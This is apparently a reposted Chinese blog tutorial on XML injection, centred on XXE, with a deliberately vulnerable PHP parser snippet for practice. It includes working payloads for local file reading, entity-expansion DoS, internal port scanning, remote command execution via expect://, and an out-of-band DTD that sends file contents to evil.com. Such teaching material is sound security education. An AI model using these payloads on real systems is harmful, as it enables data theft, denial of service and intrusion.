zoukankan      html  css  js  c++  java
  • XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码。根据不同的场景,可能会形成以下的漏洞形式:

    (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos)

              具体介绍:http://www.cnblogs.com/lcamry/p/5737318.html

    (2)XXE-----xml external entity injection(xml外部实体注入,最为常见的方法)

              具体介绍:下面内容以及http://www.waitalone.cn/xxe-attack.html

                                 blind XXE介绍 http://blog.csdn.net/u011721501/article/details/43775691

    (3)soap注入

    (4)xpath注入

            具体介绍http://netsecurity.51cto.com/art/201401/427521.htm

    XML实体攻击已经是一个很老的技术了,这里仅对学习的过程做一个记录。

    <form method="POST" action="">

        <textarea name="keyword" value="" style=" 500px; height: 300px"></textarea>

        <input type="submit" value="submit">

    </form>

     

    <?php

    $keyword = $_POST['keyword'];

    $xml_obj = simplexml_load_string($keyword);

    var_dump($xml_obj);

    上面这段代码用于XXE实体攻击的练习,你可以将其保存至你的环境下用于测试。(记得删除 :P

    XML讲解可以参考w3schools的教程-XML

    这里简单说一下XML中的实体类型,大致有下面几种:

    • 字符实体
    • 命名实体
    • 外部实体
    • 参数实体

    除参数实体外,其它实体都以字符(&)开始,以字符(;)结束。常规实体有:&apos;'&amp;&&quot;"&lt;<&gt;>

    字符实体类似html中的实体编码,形如:&#97;(十进制)或者&#x61;(十六进制)

    命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。如下面代码所示:

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY x "First Param!">

    <!ENTITY y "Second Param!">

    ]>

    <root><x>&x;</x><y>&y;</y></root>

    外部实体用于加载外部文件的内容。(XXE攻击主要利用此实体)

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPe root [

    <!ENTITY outfile SYSTEM "outfile.xml">

    ]>

    <root><outfile>&outfile;</outfile></root>

    参数实体用于DTD和文档的内部子集中。与一般实体相比它以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(XXE攻击常结合利用参数实体进行数据回显)

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY % param1 "Hello">

    <!ENTITY % param2 " ">

    <!ENTITY % param3 "World">

    <!ENTITY dtd SYSTEM "combine.dtd">

    %dtd;

    ]>

    <root><foo>&content</foo></root>

    combine.dtd中的内容为:

    <!ENTITY content "%param1;%param2;%param3;">

    上面combine.dtd中定义了一个基本实体,引用了3个参数实体:

    %param1;%param2;%param3;

    解析后<foo>...</foo>中的内容为Hello World

    XML实体攻击主要利用了XML实体中的外部实体结合各种协议来读取服务器上的数据,在DTD文件中的参数实体声明时能够引用其他参数实体的值,因此在XXE攻击回显遇到困难时会用到。

    * 简单文件读取

    因为可以进行外部实体加载,在XXE攻击中常用来进行本地文件读取。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY content SYSTEM "file://localhost/c:/windows/win.ini">

    ]>

    <root><foo>&content;</foo></root>

    在使用file://协议时,有以下几种格式:

    * Linux

    file:///etc/passwd

     

    * Windows

    file:///c:/windows/win.ini

    file://localhost/c:/windows/win.ini

    (下面这两种在某些浏览器里是支持的)

    file:///c|windows/win.ini

    file://localhost/c|windows/win.ini

    除了使用file://协议进行文件读取外,如果XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

    ]>

    <root><foo>&content;</foo></root>

    * DoS攻击

    因为解析器会解析文档中的所有实体,因此如果实体声明层层嵌套的话,在一定数量上可以对服务器器造成DoS

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY x1 "CPU Consuming Task!">

    <!ENTITY x2 "&x1;&x1;">

    <!ENTITY x3 "&x2;&x2;&x2;">

    ...

    <!ENTITY x100 "&x99;&x99;&x99;...">

    ]>

    <root><foo>&x100;</foo></root>

    嵌套实体声明曾指数增长,可能造成对服务器的DoS

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY dos SYSTEM "/dev/zero">

    ]>

    <root></root>

    加载一个不稳定的文件描述也可能产生DoS

    * 端口扫描

    加载外部DTD时有两种加载方式,一种为私有private,第二种为公告public

    私有类型DTD加载:

    <!ENTITY private_dtd SYSTEM "DTD_location">

    公共类型DTD加载:

    <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

    在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY portscan SYSTEM "http://localhost:3389">

    ]>

    <root><foo>&portscan;</foo></root>

    因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

    * 利用DTD进行数据回显

    当利用XXE攻击进行文件读取时经常因为没有回显而显得鸡肋,这个时候就可以结合参数实体的特殊性,加载一个外部DTD来进行回显。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">

    <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">

    %dtd;

    %send;

    ]>

    <root></root>

    其中evil.dtd的内容如下:

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">

    %payload;

    DTD文件中声明了参数实体payload,其值是一个实体参数声明,因为是在DTD里面,所以可以引用上文的%file;参数实体,%file;参数实体为c:/windows/win.ini文本的内容。最后在原XML里引用DTD中的参数实体,此时就可以讲本地文件读取的内容通过HTTP发送出去(为了让请求的URL有效,这里对使用了php://filter协议,并将内容使用base64进行了编码)。

    此方法针对数据不回显的情况及其有用。

    * 远程命令执行

    当然了,除了文件读取和DoS外,某些情况下还能进行RCE。例如在PHP开启了PECL上的Expect扩展时,就能使用expect://协议来执行命令。

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY content SYSTEM "expect://dir .">

    ]>

    <root><foo>&content;</foo></root>

    利用XXE攻击时需要结合实际环境才能发挥出其威力。:D

    参考

  • 相关阅读:
    用nodejs删除mongodb中ObjectId类型数据
    关于easyui模拟win2012桌面的一个例子系列
    div里常用的class命名
    XMLHttpRequest对象中readyState与status的几种常见状态
    我们经常注册用的页面是怎么实现的
    html与xhtml区别
    mysql重置密码
    服务器80端口映射到8080端口
    服务器端增加tomcat使用内存
    更新服务器ssh登录端口
  • 原文地址:https://www.cnblogs.com/lcamry/p/5736998.html
Copyright © 2011-2022 走看看